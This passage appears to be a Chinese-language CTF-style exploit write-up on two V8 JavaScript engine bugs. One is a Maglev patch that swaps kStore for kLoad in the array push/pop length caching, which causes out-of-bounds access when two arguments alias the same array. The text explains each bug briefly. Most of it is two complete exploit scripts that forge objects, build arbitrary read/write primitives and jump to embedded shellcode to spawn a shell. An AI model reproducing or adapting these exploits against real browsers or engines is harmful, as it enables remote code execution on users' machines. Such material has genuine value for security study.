有了poc后写利用就比较简单,这里的漏洞效果为任意地址对象伪造,符合我之前总结的利用模板https://bbs.kanxue.com/thread-281180.htm,所以直接套模板即可构造沙箱内的任意地址读写,最后利用立即数shellcode获取shell
var buf = new ArrayBuffer(8);
var dv = new DataView(buf);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;
function pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return f64[0];
}
function u64_to_f64(val) {
u64[0] = val;
return f64[0];
}
function f64_to_u64(val) {
f64[0] = val;
return u64[0];
}
function set_u64(val) {
u64[0] = val;
}
function set_l(l) {
u32[0] = l;
}
function set_h(h) {
u32[1] = h;
}
function get_l() {
return u32[0];
}
function get_h() {
return u32[1];
}
function get_u64() {
return u64[0];
}
function get_f64() {
return f64[0];
}
function get_fl(val) {
f64[0] = val;
return u32[0];
}
function get_fh(val) {
f64[0] = val;
return u32[1];
}
function add_ref(obj) {
roots[index++] = obj;
}
function major_gc() {
new ArrayBuffer(0x7fe00000);
}
function minor_gc() {
for (let i = 0; i < 8; i++) {
add_ref(new ArrayBuffer(0x200000));
}
add_ref(new ArrayBuffer(8));
}
function hexx(str, val) {
console.log(str+": 0x"+val.toString(16));
}
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
function shellcode() {
return [
1.9553825422107533e-246,
1.9560612558242147e-246,
1.9995714719542577e-246,
1.9533767332674093e-246,
2.6348604765229606e-284
];
}
for (let i = 0; i < 0x10000; i++) {
shellcode();
shellcode();
shellcode();
shellcode();
}
var spray_array = Array(0xf700);
var data_start_addr = 0x00502139+7;
var map_addr = data_start_addr + 0x1000;
var fake_object_addr = map_addr + 0x1000;
//0x2f040404001c3d21 0x0a0007ff11000842
spray_array[(map_addr-data_start_addr) / 8] = u64_to_f64(0x2f040404001c3d21n);
//spray_array[(map_addr-data_start_addr) / 8] = pair_u32_to_f64(data_start_addr+0x200, 0x2d040404);
spray_array[(map_addr-data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000842n);
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6f5);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(data_start_addr-1, 0x20);
var leak_object_array = new Array(0xf700).fill({});
var leak_object_element_addr = 0x00582139;
//console.log("go")
//%DebugPrint(spray_array);
//%DebugPrint(leak_object_array);
//readline();
const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 2;
object2.b = 2;
//const N = pair_u32_to_f64(0x42424242, 0x42424242);
const N = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);
var fake_object_array = [
N,N,N,N,N,N,N,N,N,N,N,N,N,N,
N,N,N,N,N,N,N,N,N,N,N,N,N,N,
N,N,N,N,N,N,N,N,N,N,N,N,N,N,
N,N,N,N,N,N,N,N,N,N,N,N,N,N,
N,N,N,N,N,N,N,N,N,N,N,N,N,N,
N,N,N,N,N,N,N,N,N,N,N,N,N,N,
N,N,N,N,N,N,N,N,N,N,N,N,N,N,
N,N,N,N,N,N,N,N,N,N,N,N,N,N,
N,N,N,N,N,N,N,N,N,N,N,N,N,N,
N,N,N,N,N,N,N,N,N,N,N,N,N,N,
N,N,N,N,N,N,N,N,N,N,N,N,N,N,
N,N,N,N,N,N,N,N,N,N,N,N,N,N,
];
const object3 = {};
object3.a = 3;
object3.b = 3;
object3.c = 3;
object3.d = 3;
const object4 = {};
object4.a = 4;
object4.b = 4;
object4.c = 4;
object4.e = 4;
let fake_array;
for (let key in object2) {}
function trigger(callback) {
for (let key in object2) {
callback();
fake_array = object2[key];
}
}
//%PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
//%OptimizeFunctionOnNextCall(trigger);
trigger(_ => _);
for (let i = 0; i < 0x10000; i++) {
trigger(_ => _);
trigger(_ => _);
trigger(_ => _);
}
//%DebugPrint(object4);
//readline();
trigger(_ => {
// print("callback");
object4.c = 1.1;
for (let key in object1) { }
// %DebugPrint(object2);
// readline();
});
//print(fake_array === %TheHole());
//%DebugPrint(fake_array);
function addressOf(obj) {
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_object_element_addr, 0x20);
leak_object_array[0] = obj;
f64[0] = fake_array[0];
return u32[0];
}
var test = [1.1];
hexx("test address", addressOf(test));
//%DebugPrint(test);
function arb_read_cage(addr) {
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
return f64_to_u64(fake_array[0]);
}
function arb_write_half_cage(addr, val) {
let orig_val = arb_read_cage(addr);
fake_array[0] = pair_u32_to_f64(orig_val&0xffffffff, val);
}
function arb_write_full_cage(addr, val) {
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
fake_array[0] = u64_to_f64(val);
}
var shellcode_addr = addressOf(shellcode);
hexx("shellcode_addr", shellcode_addr);
var code = arb_read_cage(shellcode_addr+0x8+0x4);
hexx("code", code);
var c = u32[0]+0x10+4;
var rwx_addr = arb_read_cage(c);
hexx("rwx_addr", rwx_addr);
arb_write_full_cage(c, rwx_addr+0x57n);
//%DebugPrint(shellcode);
shellcode();
optimizer
关键点:
@@ -7085,7 +7093,7 @@ ReduceResult MaglevGraphBuilder::TryReduceArrayPrototypePush(
sub_graph.Bind(&*do_return);
}
RecordKnownProperty(receiver, broker()->length_string(), new_array_length_smi,
- false, compiler::AccessMode::kStore);
+ false, compiler::AccessMode::kLoad);
return new_array_length_smi;
}
@@ -7258,7 +7266,7 @@ ReduceResult MaglevGraphBuilder::TryReduceArrayPrototypePop(
sub_graph.Bind(&*do_return);
RecordKnownProperty(receiver, broker()->length_string(),
sub_graph.get(var_new_array_length), false,
- compiler::AccessMode::kStore);
+ compiler::AccessMode::kLoad);
return sub_graph.get(var_value);
}
跟踪源码可以发现当以kStroe模式访问”length”属性时,该对象缓存的的”length”将被clear:
inline bool IsAnyStore(AccessMode mode) {
return mode == AccessMode::kStore || mode == AccessMode::kStoreInLiteral ||
mode == AccessMode::kDefine;
}
void MaglevGraphBuilder::RecordKnownProperty(
ValueNode* lookup_start_object, KnownNodeAspects::LoadedPropertyMapKey key,
ValueNode* value, bool is_const, compiler::AccessMode access_mode) {
......
// Try to get loaded_properties[key] if it already exists, otherwise
// construct loaded_properties[key] = ZoneMap{zone()}.
auto& props_for_key =
loaded_properties.try_emplace(key, zone()).first->second;
if (!is_const && IsAnyStore(access_mode)) { <============================================CHECK
// We don't do any aliasing analysis, so stores clobber all other cached
// loads of a property with that key. We only need to do this for
// non-constant properties, since constant properties are known not to
// change and therefore can't be clobbered.
// TODO(leszeks): Do some light aliasing analysis here, e.g. checking
// whether there's an intersection of known maps.
if (v8_flags.trace_maglev_graph_building) {
std::cout << " * Removing all non-constant cached ";
switch (key.type()) {
case KnownNodeAspects::LoadedPropertyMapKey::kName:
std::cout << "properties with name " << *key.name().object();
break;
case KnownNodeAspects::LoadedPropertyMapKey::kElements:
std::cout << "Elements";
break;
case KnownNodeAspects::LoadedPropertyMapKey::kTypedArrayLength:
std::cout << "TypedArray length"; <============================================LENGTH
break;
}
std::cout << std::endl;
}
props_for_key.clear(); <===========================================================CLEAR
}
......
std::cout << "] = " << PrintNodeLabel(graph_labeller(), value) << ": "
<< PrintNode(graph_labeller(), value) << std::endl;
}
props_for_key[lookup_start_object] = value;
}
而patch中将kStore替换成 了kLoad,则导致缓存中的值不会失效,其值会在每次push时增长,这对于对象的引用为1是不存在问题的。但是如果有多个参数指向同一个对象(也就是上述代码注释中的alias),则会导致”length”增长不同步。比如变量A、B引用同一个对象object,对于push操作,此时”cached length”的更新只考虑A.push,但是并不考虑B.push,此时数组的长度以两倍的速度增长,但是编译器却认为其只以一倍的速度增长,所以此时的element数组的大小会比实际的数组长度小从而导致越界读写
有了越界读写了,就可以直接构造沙箱内的任意地址读写了,然后还是利用立即数shellcode获取shell,这里x.push/y.push的次数可以自行多次尝试去寻找一个合适的次数:
var buf = new ArrayBuffer(8);
var dv = new DataView(buf);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;
function pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return f64[0];
}
function u64_to_f64(val) {
u64[0] = val;
return f64[0];
}
function f64_to_u64(val) {
f64[0] = val;
return u64[0];
}
function set_u64(val) {
u64[0] = val;
}
function set_l(l) {
u32[0] = l;
}
function set_h(h) {
u32[1] = h;
}
function get_l() {
return u32[0];
}
function get_h() {
return u32[1];
}
function get_u64() {
return u64[0];
}
function get_f64() {
return f64[0];
}
function get_fl(val) {
f64[0] = val;
return u32[0];
}
function get_fh(val) {
f64[0] = val;
return u32[1];
}
function add_ref(obj) {
roots[index++] = obj;
}
function major_gc() {
new ArrayBuffer(0x7fe00000);
}
function minor_gc() {
for (let i = 0; i < 8; i++) {
add_ref(new ArrayBuffer(0x200000));
}
add_ref(new ArrayBuffer(8));
}
function hexx(str, val) {
console.log(str+": 0x"+val.toString(16));
}
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
function de() {
while (true) {}
}
function shellcode() {
return [
1.9553825422107533e-246,
1.9560612558242147e-246,
1.9995714719542577e-246,
1.9533767332674093e-246,
2.6348604765229606e-284
];
}
for (let i = 0; i < 0x5000; i++) {
shellcode(); shellcode();
shellcode(); shellcode();
shellcode(); shellcode();
shellcode(); shellcode();
}
function func(x, y) {
x.push(1.1);
y.push(1.1);
x.push(1.1);
y.push(1.1);
x.push(1.1);
y.push(1.1);
x.push(1.1);
y.push(1.1);
x.push(1.1);
y.push(1.1);
x.push(1.1);
y.push(1.1);
x.push(1.1);
y.push(1.1);
x.push(1.1);
y.push(1.1);
x.push(1.1);
y.push(1.1);
x.push(1.1);
y.push(1.1);
}
var spray_array = new Array(0xf700).fill({});
var spray_array2 = new Array(0xf700).fill({});
var spray_array3 = new Array(0xf700).fill({});
var spray_array4 = new Array(0xf700).fill({});
var element_start_addr = 0x00580011;
var data_element_start_addr = element_start_addr + 7;
var fake_object_addr = data_element_start_addr + 0x1000;
var save_fake_object_addr = fake_object_addr + 0x200;
minor_gc();
major_gc();
major_gc();
var a = null;
for (let i = 0; i < 0x1000; i++) {
a = [1.1, 2.2];
// %PrepareFunctionForOptimization(func);
func(a, a);
// %OptimizeMaglevOnNextCall(func);
}
var victim_array = new Array(2).fill(1.1);
var addressOf_arr = [0x290098a, victim_array];
var rw_arr = [1.8457939563e-314, 1.8457939563e-314, 1.1, 2.2];
//for (let i = 0; i < a.length; i++) {
// hexx("[====== dump ======]", f64_to_u64(a[i]));
//}
var len_and_element = f64_to_u64(a[a.length-1]);
hexx("len_and_element", len_and_element);
a[a.length-1] = pair_u32_to_f64(u32[0], 0x1ee00);
//%DebugPrint(a);
//%DebugPrint(victim_array);
var addressOf_offset = -1;
for (let i = 0; i < 0x100; i++) {
f64_to_u64(victim_array[i]);
if (u32[0] == 0x5201314 && u32[1] != 0) {
addressOf_offset = i;
// hexx("address", u64[0]);
break;
}
}
var rw_offset = 15;
/*
var flag = 0;
var check = 0xdeadbeefn;
for (let i = 0; i < 0x100; i++) {
f64_to_u64(victim_array[i]);
hexx("[====== dump ======]", u64[0]);
if (u64[0] == check) {
f64_to_u64(victim_array[i+1]);
hexx("[====== dump ======]", u64[0]);
if (u64[0] == check) {
rw_offset = i-2;
if (flag == 1) {
break;
}
flag = 1;
}
}
}
*/
//print(u64_to_f64(0xdeadbeefn));
//%DebugPrint(victim_array);
//%DebugPrint(rw_arr);
hexx("rw_offset", rw_offset);
hexx("addressOf_offset", addressOf_offset);
hexx("check", f64_to_u64(victim_array[rw_offset]));
print(victim_array[rw_offset+1]);
function addressOf(obj) {
addressOf_arr[1] = obj;
f64_to_u64(victim_array[addressOf_offset]);
return u32[1];
}
function read_cage(addr) {
victim_array[rw_offset] = pair_u32_to_f64(addr-8, 0x20);;
return f64_to_u64(rw_arr[0]);
}
function write_cage(addr, val) {
victim_array[rw_offset] = pair_u32_to_f64(addr-8, 0x20);;
rw_arr[0] = u64_to_f64(val);
}
//hexx("victim_array", f64_to_u64(victim_array[addressOf_offset]));
hexx("victim_array", addressOf(victim_array));
var shellcode_addr = addressOf(shellcode);
hexx("shellcode_addr", shellcode_addr);
var code = read_cage(shellcode_addr+0x8+0x4);
hexx("code", code);
var c = u32[0]+0x10+4;
var rwx_addr = read_cage(c);
hexx("rwx_addr", rwx_addr);
write_cage(c, rwx_addr+0x53n);
//%DebugPrint(shellcode);
shellcode();